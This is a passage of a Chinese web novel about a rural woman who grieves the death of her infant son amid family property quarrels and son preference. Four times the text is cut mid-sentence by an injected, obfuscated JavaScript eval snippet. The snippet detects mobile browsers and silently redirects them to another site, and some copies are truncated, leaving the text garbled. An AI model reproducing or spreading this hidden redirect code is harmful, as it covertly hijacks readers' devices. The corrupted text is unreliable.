栋栋也有天使宝宝的一面,他一般会在上午一直睡觉,王惠便侧卧在他身旁,静静地看着他白嫩嫩的小脸儿,闻着他衣服上的奶香味。那一刻,王惠觉得心里特别安定。 12月份天寒地冻,王惠的腰和胳膊都疼得厉害,她好不容易把栋栋哄睡着,还得去洗衣服。 衣服是一大早就泡上的,她正弯腰搓着衣服,赵梅拎着一兜红薯回来,一掀棉门帘看见王惠,笑容满面地说:“惠啊,等过完元旦老三对象要来相房子,到时候你跟我一起接待吧。” 王惠唇角抿成一条直线,看来那套新房要给老三了,她缓了一下,将想说的话咽下,说:“妈,咱们都不在,谁看栋栋啊?” 赵梅仍然在笑,“没事儿,顶多俩小时,让你爸抱会儿大孙子,他巴不得呢。你是为我们老李家延续香火的大功臣,你跟我一起接待,吉利!” 王惠顿了一下,没说什么,继续弯腰低头洗衣服。 其实她累得厉害,已经好久没睡整夜觉了。 自从有了栋栋,每天除了做家务,就是围着孩子转,几套家居服来回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王惠没吱声儿,只是绞紧了手指,止不住地心疼高烧的孩子。 第二天下午,栋栋的烧还是没有退下去。 第三天凌晨,栋栋悄无声息地离开了这个世界,小小的一个奶娃娃在妈妈怀里离开了。 王惠觉得自己在做一场迷幻的梦,一切都超出了她的理解范围。 她坐在病床边,低头看着离子一言不发,一只手轻轻捧起他肉嘟嘟的脸蛋儿,心里仍然是柔软的。 她不懂自己十月怀胎的孩子离开是什么意思。 王惠很平静,平静到让人无法接受,父亲王书珺和母亲张瑞清也赶了过来,他们一直守在王惠身边,生怕女儿有什么三长两短。 他们回到家,王惠帮栋栋洗澡、换衣服,她不知道该给栋栋穿哪件衣服,于是在大衣柜里抓来抓去,把所有衣服都翻出来看了一遍,最后选了一件刚晒过的,还残存着太阳味道的,柔软的小衣服套在栋栋身上。 12. 大悲无言 栋栋太小太小,没有大办葬礼,街坊四邻帮忙的人提前来到祖坟,给栋栋挖了一个四四方方的小坑。 一行人往祖坟方向走,王惠一边走一边不错眼珠的看着怀里的孩子,孩子像是安静地睡着了,睫毛稀稀疏疏的,很翘,嘴巴上那颗小小的唇珠可爱地嘟着。 王惠隔一会儿就亲亲孩子,亲额头,亲脸蛋,亲鼻尖,亲手手,最后竟然用嘴巴给孩子做人工呼吸。 她一直都没有哭,整个人都是麻木的,仿佛置身于一个半真半假的虚空世界里。 直到王惠来到坟前,亲眼见到那四四方方的坑,她心中猛然一震,终于意识到这是她和亲生儿子的死别。 王惠开始剧烈发抖,好像有一团黑暗物质向她强有力地压过来,她抱着栋栋撒腿往回跑,甚至跑不到家,抱着孩子一头撞死也是好的。 李武三两步追上,抱住她,不断地安抚,“小惠,别这样,别这样,让宝宝安歇吧。” 王惠有点神智不清了,她仍然在发抖,拼命地跺脚,甚至把鞋子都甩掉了。李武试图把孩子抱过去,王惠却力气更大,像是疯了一样。 在这一刻,她仍然觉得孩子只是睡着了。 下葬是看好吉时的,李同仁让李斌过来帮忙,两个大男人架着王惠往回走,王惠温柔而呆滞地看着怀里的孩子,突然失神地唱起儿歌——《鲁冰花》。 天上的星星不说话 地上的妈妈想娃娃 天上的眼睛眨呀眨 妈妈的心呀鲁冰花 ...... 王惠字字泣血般歌唱,在场的没一个人能忍住,全部哭得稀里哗啦。 最后,王惠亲自把孩子放进去,她嘴里不停地喃喃,李武离近了才听清,她说的是: 儿啊,那么冷的天,你回来好不好?妈怕你冻着! 是妈对不起你,是妈没用,你回来,要什么妈都给你,只要你回来! ...... 那一刻,王惠多么希望这世上有鬼,那样她就可以见到自己的孩子了。 所有人都在担心王惠的精神状态,她全程都没有哭,许是大悲无言,大哀无泪,不能说的痛最痛! 王惠痛得连哭都不会了。 回到家才是漫长悲伤的开始,栋栋的奶瓶、褯子、小老虎枕头、衣服、毯子、小玩具……所有东西都还在原来的位置摆着,孩子却再也回不来。 直到这时,王惠才瘫坐在地上放声大哭。 自此,王惠看到哪家的孩子都会多看两眼,看谁家男孩都像栋栋。 往后的一个月,王惠不敢和任何人说话,她生怕别人提起栋栋,每天抱着栋栋的小被子坐在炕上发呆,饭也不想吃,觉也不想睡。 半年后,她收拾屋子,在炕被底下拿出栋栋的小袜子,那一刻她再次崩溃,就像是钝刀子割肉,鲜血淋漓…… 什么是孩子啊? 孩子就是来时睡在妈妈的羊水里,走时睡在妈妈的泪水里;来时和妈妈共享心脏,走时带走两颗心脏。 —— 自从王惠失去儿子,她整个人精神萎靡不振。 李武在她身边什么都不敢说,生怕刺激到她的神经。 当王惠还沉溺在悲伤情绪中时,老李家又发生了一件不愉快的事,老三李斌相亲失败。 李斌倒是一门心思看上人家姑娘了,可人家姑娘家里条件好,长得又漂亮,要求自然更高,李斌反反复复跟赵梅闹,嚷嚷着就想娶这姑娘。 一天夜里,李武突然饿了,王惠出来给他煮面,正巧听见赵梅和李同仁在东屋里嘀咕。 赵梅连连唉声叹气,“你说这老三可怎么办呐?一门心思瞅上这闺女了。” “他瞅上有什么用?人家没瞅上他呀。”李同仁客观地陈述事实。 “你说这闺女是不是瞎?我们老三那么好的小伙子,她还看不上?她凭什么看不上?真是个没福气的丫头片子。”赵梅道。 “这个看不上就看下一个,赶紧的,再找媒人给他说一个不就完了。” “哎呀,你是没看到老三那样儿,跟我跳着脚的闹,非说对这闺女一见钟情。” “那你说怎么办?总不能把人绑过来吧?” “......你说...要不...问问她们家有没有不好娶亲的儿子?咱们跟他们家换亲总行了吧?”赵梅出主意道。 “换亲?拿超超换?”李同仁问。 “可不的,不拿她换也没别人儿了。” “她才十五,还是个上学的孩子呢。”李同仁皱着眉头顿了一下,问:“她能同意吗?” “父母之命,媒妁之言,这事儿还能由得了她?” “先别跟超超说,你先打听打听那闺女家有没有适合的人。”李同仁道。 王惠在外屋听得起了一身鸡皮疙瘩,李超超聪明可爱,一脸天真的少女模样,公公婆婆竟然背地里想把她拿去换亲。 为了儿子能娶看上的姑娘,就要把十五岁的女儿拿出换亲! ??? 后来赵梅厚着脸皮去人家打听,幸好那家没有儿子,只有一个独女,她那么一问,人家姑娘的妈妈更不想和这家人有瓜葛了。 后来李斌又不情不愿的和另外一个姑娘相亲,这个姑娘叫向华,家是外地的,长得不丑还好说话,他就勉勉强强和人家谈起了恋爱。 李斌也不是有多喜欢,就是妈妈每天在他耳朵边叨叨:“你说要是有个女人在你身边,给你收拾一下,做做饭,洗洗碗,多好?” 于是,家里迎来了喜事,李斌和向华正式谈及婚嫁,女方第一次上门,赵梅让贾英一起接待,好像怕王惠身上会散发晦气似的。 王惠以为所有人都忘了栋栋,原来他们还记得啊,只不过记得的是孩子走了,孩子母亲不吉利。 所有人都在提醒她往前看,可她还是留在了栋栋离开的那个寒冬,她常常在梦境与现实之间切换,梦里是拼命救孩子,现实里却假装乐观。 栋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458777|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栋在这个世界存在的痕迹几乎被抹除殆尽,可妈妈小腹上的妊娠纹永远抹不掉,王惠每次洗澡都会低头看向自己的小腹,温柔地抚摸那些纹路。 —— 经过这番相看,李斌和向华把结婚定在了十月底。 一天晚上,一大家子人凑在一起吃饭,正在上初三的李超嘟着嘴巴不高兴,她皱着眉头说:“妈,我都说了我没早恋,是他们蜜蜂似的围着我转,你怎么就不信我呢?” 赵梅一边盛粥,一边说:“我倒是想信你,最近老送你回来的那个高个儿的男生是谁?没早恋学校为什么要叫家长?” 李文和李武抬头对视一眼,一同看向李超,齐刷刷地问:“是谁?” 李超被两个哥哥震住,垂下眼眸弱弱地回答:“...就...就我同桌呗。” 李文放下筷子,正色问:“同桌你结巴什么?” 李武附和:“就是,你结巴什么?” 李超喝了口粥,含含糊糊地回答:“没...没结巴啊...”紧接着,李超把求助的眼神飘向王惠,她知道二嫂一向温柔,最好说话了,一定会帮她解围。 王惠看她一眼,无声地接收信号,撕了半块玉米饼递给李武,说:“行了,妈明天要是没空,我陪超超去学校。” 赵梅把粥锅端回灶上,说:“行,你陪她去吧,看看老师到底要谈什么,明天老三的新房要送家具,我真是没空。” 王惠听完看了李武一眼,什么都没说。 吃过饭,收拾完桌子,李武和王惠回到屋子,王惠小声问:“妈这什么意思?家里一共两套新房,一套旧房,大哥结婚前装了一套,人家结婚结在新房里了,老三婚前又装一套,人家是不是也结在新房里?怎么就我好说话,跟你在这旧房里结婚呢?” 这话李武就不爱听了,他一向盲目地秉承‘家和万事兴’,他责备王惠:“都是一家子人,计较那么多干嘛?” 王惠生气也委屈,“是我计较吗?三个儿子不应该公平吗?或者说能不能把这事儿放在桌面上一二三说清楚?怎么就全凭妈一句话定了?如果商量商量,我觉得爸妈确实有难处,我也不会为难他们,现在就等于稀里糊涂的分家了,什么都不说明白,我没办法认啊?” 李武的思维完全没有从大家庭聚焦到小家庭,家族和家庭他傻傻分不清楚,他虽然也不高兴,但仍然维护母亲,道:“爸妈一共就那么点儿钱,我逼着他们再变一套也变不出来啊。” 两口子拌嘴生气也没统一意见,结果不了了之。王惠从结婚的那一刻就与自己的原生家庭进行了切割,而李武却没有从他的原生家庭里分离出来。 很快到了李斌结婚的喜日子,仍然是贾英做的娶客,陪着媒人把新娘子接到新房子。 越是喜庆的日子,王惠越感到悲伤。 夜深人静时,她总是陷入疑惑,好像只有她自己失去儿子,而别人并没有失去孙子、失去侄子,那个小生命就那么轻易地从大家的记忆里抹去了。 13. 护夫心切 李斌结婚没几天,贾英趁着一大家子人吃饭,直截了当地和赵梅说:“妈,你这三个大儿子都结完婚了,你的任务减轻了一大半儿啊。” 赵梅一手端着粥碗,一手夹菜,她深呼出一口气,像是卸下千斤一般,说:“是啊,暂时消停了,接下来的任务就是给你们带好儿子,再给超超找个好婆家。” 贾英的脸僵了一下,小孙女悦悦扒在桌沿甜甜地说:“奶奶,你把我落下了,我是女儿。” 李文摸摸悦悦的小脑袋,把剥好的鸡蛋放进她碗里,“快吃饭悦悦,吃完饭去看动画片。” 贾英勾唇冷笑,说:“妈,我暂时生不了儿子,得先好好培养我闺女。” 赵梅知道这两口子都不高兴,但她仍然转头看李斌媳妇向华,笑着对她说:“老三媳妇儿,你争口气,你俩刚结婚,好怀儿子,我抱大孙子的愿望就指望你了。” 向华害羞,只点了点头。 贾英不悦,觉得赵梅是在对她进行餐桌霸凌,可围坐在餐桌旁的人,又何止她一个人被凌虐呢?王惠垂着眼眸,无声地握紧了筷子。 贾英冷脸继续说:“妈,我是想问问你,咱们什么时候开个家庭会议?这大哥儿仨都成家了,是时候把家产盘点盘点,正式分个家了吧?” 赵梅没想到贾英当着一大家子人说话如此干脆,丝毫没有给她回转的余地,她夹着咸菜的筷子顿了一下,放进粥碗边缘,不急不慢地喝了口粥,说:“行啊,那就下个月十号吧,咱们开个家庭会议。” 吃完饭,三个儿媳妇收拾厨房餐厅,赵梅一声不吭地回了卧室,照平常她一定会帮忙搬搬椅子收拾收拾的。 李同仁一进卧室,赵梅就小声地跟他发泄情绪: “你说这个老大媳妇儿,都给了她一套新房,还提什么分家?真是得了便宜还卖乖,这个破家有什么好分的?人家老二媳妇儿都没说什么,她先站出来提意见,真是个冷心冷面的人,不好惹的主儿。” 李同仁坐在写字台前,慢悠悠地戴上老花镜,打开当天的报纸,他说:“什么好惹不好惹的,你有空先打听打听她什么意思,她想要干什么?分家可是大事儿,轮得着她先张罗?” “你说得对,我得先问问她想干什么,她想分房还是想分地?就那几亩地给他们分了他们也种不过来啊,这小年轻儿,谁吃得了种地的苦?”赵梅心里犯起了嘀咕,她一向不喜欢这个大儿媳妇,太有主见了,还目中没有她这个婆婆。 接下来几天,赵梅先问李文,又问贾英,愣是丝毫没问出什么,李文从小到大都是个心里有准儿的人,谁见了都夸他脑子好使,因此他在家里从来没干过力气活,赵梅心想:这两口子真是找对付了。 很快到十一月十号,一大家子人凑齐开分家会,李同仁还请了村长赵德发过来当见证人,本来赵梅不让请的,但李同仁面子大过天,他最在乎别人怎么评价他,所以他干什么都要一板一眼。 赵德发一进门便和李同仁大声寒暄,“老李啊,你说说你,不愧是一乡之长啊,这几年净见你发达了,五年盖了两套房,你可真厉害啊,村里哪儿有人比得了你?” 李同仁背着手迎他,脊梁不自觉越挺越直,在农村里,只要能盖得起房,就能扬眉吐气,他颇为得意,又言中有意地说:“嗨,这能怎么办?这不是有仨儿子呢吗?这年代讨媳妇儿可真是个难事儿。” “可不是呢,我都替村里的光棍儿们发愁,是真说不上媳妇儿,就前边儿老胡家那个大儿子,三十多岁了,长得又矬又黑又罗锅儿,脾气还孬,到现在了住的那土坯房都没通上电,你说说就他那样儿的还想讨媳妇儿?真是连买都买不着。”赵德发黝黑的脸上皱纹婆娑,龇着一口黄牙十分得意,他甚至说得三分睥睨,三分讥笑,其余四分皆是猥琐。 说到讨媳妇儿,李同仁站得更直了,他笑笑,说:“我这仨小子倒是有能耐,一年讨一个跟玩儿似的。” 他顿了顿,生怕赵德发没听出什么意思似的,又重复道:“就是这宅基地啊,仨小子只有两块儿,不是个事儿啊。” 赵德发懂了,拍他马屁,“行了老李,你等等我,明年开春儿把村后面的坑填上,到时候我给你留一块儿。” 李同仁笑了,但是又改口假惺惺地说:“哎,这可不行啊,都是有规章有纪律的,你可别害我犯错。” “嗨呀,犯什么错?你是乡长,你说这村子里的事还不都是你说了算?我这个村长也是你给点头儿的呀。”赵德发奉承道。 “行了行了,你先填了再说。”李同仁和赵德发说,紧接着他又朝赵梅大声斥责:“没看见来客人了?赶紧倒水去啊。” “好的。”赵梅低眉顺眼地应道。 家庭会议正式开始,一大家子人凑在中间屋子里,男人们搬木凳、椅子围着炉子坐下,女人们则各自站在自己男人身后。 赵梅毕竟升级成婆婆,又是给小辈们开会,她拿了个木凳子坐在李同仁身后,脊背挺直,拿捏着自己当婆婆的款儿。 李同仁端坐主位,彰显着他的威严,旁边是分家的公证人赵德发,这家庭会议开得,跟宗法祠堂的堂审似的。 李同仁一上来就把矛盾抛给了小辈儿,他慢悠悠地开口道:“咱们家的房呢,就这三套,两套新的,一套旧的,要不你们哥仨商量谁住哪边儿?” 李文侧脸看向贾英,俩人对视一眼,没有说话。 李武也看向王惠,王惠不吱声,李武便问:“爸,妈,就没个愿打愿挨的选择机制啊?哪怕抓阄儿也行啊。” 向华给公公李同仁倒了杯茶,尊敬地放在他面前,李斌大剌剌地靠在椅背上,说:“爸,妈,我们俩怎么着都行,听你们的,你们看着安排吧。” 李斌自幼抓尖儿,怎么着都行,就是给我少了不行,这个家庭里的利益分配从来不摆在桌面上,所以他总是能得到最多,表面却又装又立,不要又要。 大家好一阵沉默,片刻后,贾英说:“妈,不用抓阄,我们要老房子。” 贾英的话完全超出李同仁和赵梅的预期,贾英继续说:“爸,妈,我弟弟在新疆做生意,我们准备过去投奔他,所以我们要老房,但是关于新老房子的差价,您看咱们合计合计?我们三口子去新疆需要本钱。” “你说什么?”李同仁千算万算没算到这一出儿,他转头看向李文,“老大,你也没跟我们商量商量,我们同意你去了吗?” 李文张口就来,他说:“爸,我在咱们这村旮旯里能有什么出息?像老二一样天天傻干,卖苦力气也挣不了几个钱,还不如出去闯闯呢。” 李武无辜躺枪,慢半拍地抬头看他哥,不过他也习惯了,从小到大他哥都比他聪明,细皮嫩肉的,家里脏活累活从来都是李武一个人吭哧吭哧包揽。 李武还没说什么,王惠却听得不乐意,她护夫心切,眼神凌厉,转头问李文:“大哥,都说劳动最光荣,我们不偷不抢,靠着自己的力气自力更生怎么了?” 李文笑笑,连忙往回找补,“口误口误,老二媳妇别多想。” 可下意识的反应最真实,别看是同父同母的一家子,李文从小到大都高高在上,他是打心眼里看不上卖力气为生的李武。 赵梅在一旁坐不住了,她不高兴地责备李文,“那你也得跟妈商量啊,离家远走那么大的事儿,你们两口子捂得挺严实啊?” 李文抬手给赵梅倒水,“妈,我是去找找出路,顺利的话不就能多挣钱回来孝顺你跟我爸嘛?” “你们两口子这是定好了呗?今天趁着人多通知我们?”赵梅拉着脸问。 “妈,我们也不是非要走,要是你们能给李文安排个合适的工作,我们也愿意呆在家呀,谁愿意大老远地去外面漂着?” 贾英一句话彻底堵住了李同仁和赵梅的嘴,李同仁双臂抱于胸前,后背靠在椅子上,半晌后才皱着眉头说:“你们想要老房就给你们老房,具体能折多少钱下来让你妈算算。” “还有庄稼地呢爸,咱们这庄稼地怎么分呢?结婚三年,我的户口早就迁过来了,庄家地也按人头分了吧。”贾英才不在乎有没有当着村长的面儿,更不乎别人怎么看她,只在乎自己那份儿有没有公平分配。 赵梅看了李同仁一眼,即使不悦也强忍着,“行,庄稼地按人头儿算。”赵梅又看向赵德发,问:“老赵啊,庄稼地是一人八地对吧?你给我做个见证。” 赵德发没见过像贾英那么厉害的新婚儿媳妇,他给自己搓了一卷旱烟,用火柴点着叼在嘴里,眯着眼睛说:“对,一人八分,老大媳妇和孩子的地都分了,老二媳妇和老三媳妇的地明年分。” “行,西边那二亩四分地归你们一家三口行了吧?”赵梅的脸臭到就差吹胡子瞪眼睛了。 “你们不是打算去新疆吗?”李同仁严肃地问。 “爸,就是因为我们要去新疆,我和文哥才商量咱们得把家分明白,您说我们两口子哪儿有钱啊?平日里还不是就靠您跟妈照应我们?”贾英拍拍双手,一副无奈的样子。 赵梅没听懂,她问:“你这是什么意思?” 李同仁轻嗤一声,不悦道:“人家这是想盘算盘算自己的资产,分家后怎么处置就是人家两口子的事儿了。” 要不是李同仁请了村长过来,赵梅就要破口大骂老大媳妇太有心机了,她压抑着情绪转头看向李武和李斌,说:“那你们哥俩就分这两套新房吧,是你们哥俩商量,还是抓阄儿?” 李武一向是个谦让弟弟的好二哥,他说:“老三你挑吧,我跟你二嫂都行。” “要不咱们抓阄儿吧二哥,两套房都差不多,我觉得抓阄儿挺好玩儿的,三局两胜怎么样?”李斌笑嘻嘻地说。 赵梅瞪他一眼,打断道:“都结婚的人了,怎么还跟个孩子似的,别抓阄了,你们就来住你大哥的房,让你二哥二嫂去你们现在那套房子。” “妈,我们俩抓个阄儿怎么了?你又来管!”李斌不耐烦道。 “就按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王惠怼他,“老三两口子是这样吗?爸跟妈一大早起来就来帮他们搬家,现在多冷啊,他们把所有的煤都弄走了,怎么?咱俩不是人啊?咱俩钢筋铁骨不怕冷啊?” 李武低头,视线正好扫过王惠细瘦发青的手,他伸出大掌握住,“忍一忍,把今晚忍过了,明天一早我就去买煤......咱买摇好的圆媒球儿,怎么样?” 李武还没讲完,王惠一把推开他,捂着嘴巴一边干呕一边起身跑向院子。 “怎么了媳妇儿?”李武连忙跟上来,拍着她的背问。 “没事儿,被你气的。”王惠说。 两个人就这样搬到了一穷二白的新家里,不好的是一切都要重新置办,好的是小两口清清静静过日子,感情越来越浓。 李武白天去工地上干活,晚上回来照顾再次怀孕的王惠。王惠爱吃桔子,他就每天回来买一兜,也不多买,每天都让她吃上最新鲜的。 王惠则是每天晚上都做丰富的晚餐,最起码一个素菜加两个煮鸡蛋,她觉得李武出去干力气活,晚上一定要吃点好的。 王惠的大哥王勇是十二月底才听说王惠又怀孕了,他担心得不行,那个年代没有电话,王勇便骑着自行车载着大嫂林娟来到老李家,进门一问才知道这一大家子分家了,王惠已经另居他处。 向华带着他们来到李武家,推开门,王惠正坐在小板凳上搓玉米。 王惠扭头一看,立马露出开心的神色,“大哥?大嫂!你们怎么来了?” 林娟赶紧上前扶王惠起来,关切地问:“几个月了这是?到三个月了吗?坐胎坐稳了没?” “大嫂,才两个月,别担心啊,没事没事。”王惠眉眼弯弯,安抚林娟,“来吧,快进来里面坐。” “二嫂,我就先回去了,灶上炖着肉呢,别烧糊了。”向华说。 “行,那就先回去吧,慢点啊。”王惠说。 向华走后,王勇和林娟一边一个搀扶着王惠来到里屋,林娟问:“感觉怎么样啊这次?反应大吗?” “反应有点儿大,和怀第一个的时候不一样,总是想吐。”王惠乐呵呵给他们倒水,却被王勇拦下来,王勇端过茶壶给林娟倒了一杯。 “那就让李武给你换着花样儿的做饭,别委屈自己了。”王勇说。 “行,知道了,放心吧大哥。”王惠说。 “我放心什么呀我放心?你看你这屋子有多冷?是不是没烧炉子?” “大哥,我下午烧,晚上睡觉暖和就行。”王惠笑着说,“这会儿也不冷啊。” “这大冬天儿的,怎么会不冷?”王勇一针见血地问:“家里是不是缺煤?” “有,有呢。”王惠掩饰。 没过几天,王勇拉着辆木板车又来到李武家,木板车上装了大半车散煤,几张新打的凳子和几口袋麦子,王勇还贴心地把散煤摇成圆媒球儿晒在院子里,他就怕冻着自己这掌心上的亲妹妹。 赵梅自从知道王惠又怀孕了,时不时来这边看她,但三句话内总能扯到“是男是女”的话题上,赵梅又想让王惠去小诊所查一下,王惠只能以月份太小为理由婉拒。 其实王惠直觉这胎会是儿子,因为她和栋栋偷偷约好了,栋栋还回来做她的儿子,她总是在梦里问栋栋:“你知道我在等你吗?” 14. 光辉岁月 1990年,真是特别的一年。 整个90年代都朝气蓬勃,人潮涌动,人人怀揣梦想。 人们在那个年代经历了经济的迅速腾飞、科技的快速发展、理想主义的燃起和多元文化的碰撞,年轻的活力和追求的精神体现在社会各种层面。 那年,李武和王惠的小日子也过得踏实幸福,虽然物质贫乏,但那是他们十分珍贵的二人世界。 那时候港乐风靡,李武的发型也从费翔的中长发变成了郭富城的港风碎盖,他头发浓密,轻轻一甩就帅气逼人。 当收音机里传来beyond的《光辉岁月》时,李武被深深地震撼住了,纯粹沧桑的嗓音和神奇的旋律直击他的灵魂,若只用“太好听”三个字来形容都是辜负,这不仅是一首歌,更是在传递一种力量,歌声里充满了改变旧事物的决心与对平等自由的呼唤。 王惠和李武不同,她最喜欢刘德华,一部《天若有情》把王惠迷得神魂颠倒,尤其是电影里刘德华骑摩托车载着穿婚纱的女主飞驰,那一幕像神一样封在王惠心中,气得李武看见自己的二八大杠就不爽,他不得不在小本本上记下【攒钱买摩托车】这一目标。 李武干完活回家,第一件事就是打开收音机,调到音乐频道。今天放的是《我是一只小小鸟》,他伴着音乐的律动打扫院子,简直越扫越有劲儿。 等王惠做完饭,小两口就打开那12寸黑白电视,一边看《西游记》一边吃饭聊天。 亚运会将于九月份在北京召开,当时国家改革开放十来年,举国上下洋溢着兴奋与自豪,人们也纷纷捐款贡献力量。 一天,李武干完活回到家,两条大长腿跨在二八大杠上,杵在院子正中喊王惠:“媳妇儿,媳妇快点出来。” 王惠系着围裙,拿着粥勺出来,问他:“干嘛?你喊什么?” “先把粥锅端下来,把火门儿关上,村里开始给亚运会捐款了,快点儿,我带你去。”李武兴奋地说。 “是吗?”王惠眼睛亮亮的,“你等等我,我很快。” 说完,她一边往屋里跑一边摘围裙。 “你慢点儿,别磕着我儿子。”李武在她身后喊。 火红的夕阳笼罩大地,王惠坐在自行车的后座,双臂紧紧搂住李武的腰,自行车颠簸在小土路上,慢极了,他生怕颠到王惠。 来到村委会,乡亲们已经排起了长队,他们喜笑颜开,人头攒动,争先恐后地把钱给村长,村长在功劳薄上给大家记名。 虽然大家伙儿平日吵吵闹闹,关键时候总能拧成一股绳,民族荣誉感带来无比强大的力量,朴实的村民们汇聚到一起为祖国担当。 最终,李武和王惠两口子给亚运会捐出了十元人民币,相当于李武在工地上当两天小工。 —— 当天晚上,王惠坐在炕沿上泡脚,李武拿个锤子在修衣柜,她问:“武哥,你说我这次怀孕和之前不太一样,会不会有什么问题啊?” “怎么不一样?” “我这几天老想吃甜的,面包、饼干什么的,以前吧,特喜欢吃酸的,酸杏儿、酸枣儿,连酸黄瓜我都爱吃,真怕这是个女儿,我这心里慌得很。” “慌什么?要不咱们去诊所检查检查?”李武低头往柜子上拧螺丝,回答道。 “我不要,我不敢去。”王惠一边说,一边拿起毛巾擦脚。 “你到底怕什么?”李武扭头看着她问。 “你说万一是个闺女怎么办?” “怀孕生孩子,不是儿子就是闺女,是闺女怎么了?闺女我也喜欢,长得像你就行,漂漂亮亮的,我努力挣钱,把咱闺女打扮成洋娃娃。” “嗯...”王惠双手拄在炕沿上,侧着脸望向房顶,好像期待天使降临,她说:“还是儿子吧。” 李武放下锤子,看向王惠说:“你别天天瞎琢磨,生什么算什么,这事儿得听老天爷的。” 王惠点点头,莞尔一笑。 —— 夜里熄了灯,李武一手圈着王惠的脖颈,一手轻轻抚着她的肚子,他浅浅哼唱: 亲亲的我的宝贝 我要越过高山 寻找那已失踪的太阳 寻找那已失踪的月亮 ...... 李武知道,王惠说话绕来绕去,其实她满心满意都在等栋栋回来,只是她不敢说出口。 打那天起,王惠就有意地调整吃食,最常买的就是酸枣儿、酸杏儿和橘子。 —— 王惠的预产期在九月初,一进八月她就特别小心,远的地方根本不敢去,生怕孩子出生在半路上。 北方的八月,才种上的玉米正在往外冒头,浇过头水以后,伴随着杂草迎日而生。 8月18号这天,李武和王惠起了个大早,李武去工地干活,王惠去地里拔草。 王惠正弯腰拔着呢,老宅子的邻居小坤妈过来和她打招呼,“老二媳妇儿,肚子那么大了还来拔草啊?” “得拔呀,就怕耽误玉米的长势。”王惠一手撑着后腰,一手满是泥泞,她缓缓直起身子,用胳膊拂去汗水,她问:“小坤妈这是来地里干嘛?” “来浇地,今天排号排到我们了。”小坤妈摘掉草帽,往王惠跟前走,“看你这肚子,应该还是个儿子。” 王惠低头摸摸肚子,唇角绷直顿了一下,说:“谁知道呢,来什么算什么,都好。” “唉。”小坤妈叹出一口长气,说:“我说句不该说的,我还是觉得可惜,栋栋那孩子多好啊。” 王惠听到这句话,整个人僵住,过了几秒她才摇摇头,小声说:“别提了。” “有件事儿,我觉得还是得告诉你。”小坤妈说。 王惠抬起头,面色苍白,她就那样看着面前的女人。 “其实栋栋生病那天,你婆婆到我们家没崴脚,她觉得孩子生水痘儿没什么大事,一起玩牌的人撺掇......就......凑一块儿打牌来着......” “什么?”王惠难以置信,她那天在家里等得抓心挠肝,结果婆婆在邻居家打牌。 “她就是觉得你年轻,带孩子没经验,就爱大惊小怪的瞎着急,还说在我家躲躲清静。”小坤妈继续说:“我是看你挺好一孩子,还是得多为自己打算,别太依赖别人了。” 栋栋的离开,像刺在王惠心头的针,不能想不能提,拔下来的草顺着手心滑落在田里,王惠缓缓回头看向那不远处的小土包,那是栋栋的坟墓。 王惠在那一刻突然就没办法动了,一阵剧烈的疼痛来袭,她张了张口却发现自己喊不出声。 小坤妈一个大步往前,双手接住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459867|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王惠,让她仰在自己双臂间,同时扯着嗓子大喊:“小坤,小坤爸,快来!......” 王惠是被木板车推回家的,小坤跑着把赵梅喊来接生,小坤妈和向华一起烧热水、打下手。 三个小时过去了,王惠还是生不下来,小坤妈担心地跑到外屋喊:“李斌,快,快去工地上叫你二哥,再生不下来得赶紧送医院。” 赵梅也害怕急了,她咬着牙给王惠顺肚子,妄图把孩子揉出来,她扯着嗓子高声喊,数着拍子让王惠使劲儿。 王惠疼得撕心裂肺,大汗淋漓,她感觉自己快死了,眼角不住地淌泪。 仓促之间,她的眼前闪现一道白光,继而整个世界都安静下来,好像寻着那道白光可以走向另一个世界。 “王惠!王惠!!”一道强而有力的男声刺破结界传入她的耳膜,是李武大声呼喊她:“王惠,醒醒,咱们去医院!” 李武把王惠抱在怀里,双手紧紧地握住她的肩膀,王惠意识回转,忽然用力,一声婴儿的啼哭清脆响起。 “生下来了,生下来了!”赵梅松下一口气,拎起婴儿的双脚先看是男是女,她失望地说:“哎哟,是个丫头。”说罢,才给小婴儿拍背。 王惠生完整个人都虚脱了,但她还强撑着力气,小声说:“给我看看,是个闺女?” 赵梅把小婴儿送到王惠面前,“诺,你看,这不是个小丫头儿吗?” “儿子没回来......儿子没回来......”王惠自言自语地彻底躺倒在床上。 “小惠,母女平安就是大吉大利。”李武说。 李同仁当天在县里开会,下班到家听李超说二嫂正生孩子呢,便火急火燎地往李武的小院子赶,结果赶到后听说是女儿,便看了一眼,只留下一句“要是个儿子就好了”。 赵梅在一旁叠褯子,说:“要我说这一胎是女儿也好,将来还可以帮着干家务,照顾弟弟妹妹。” 后来,李同仁给这个女孩取名“李争争”,是“争取下次生儿子”的意思。 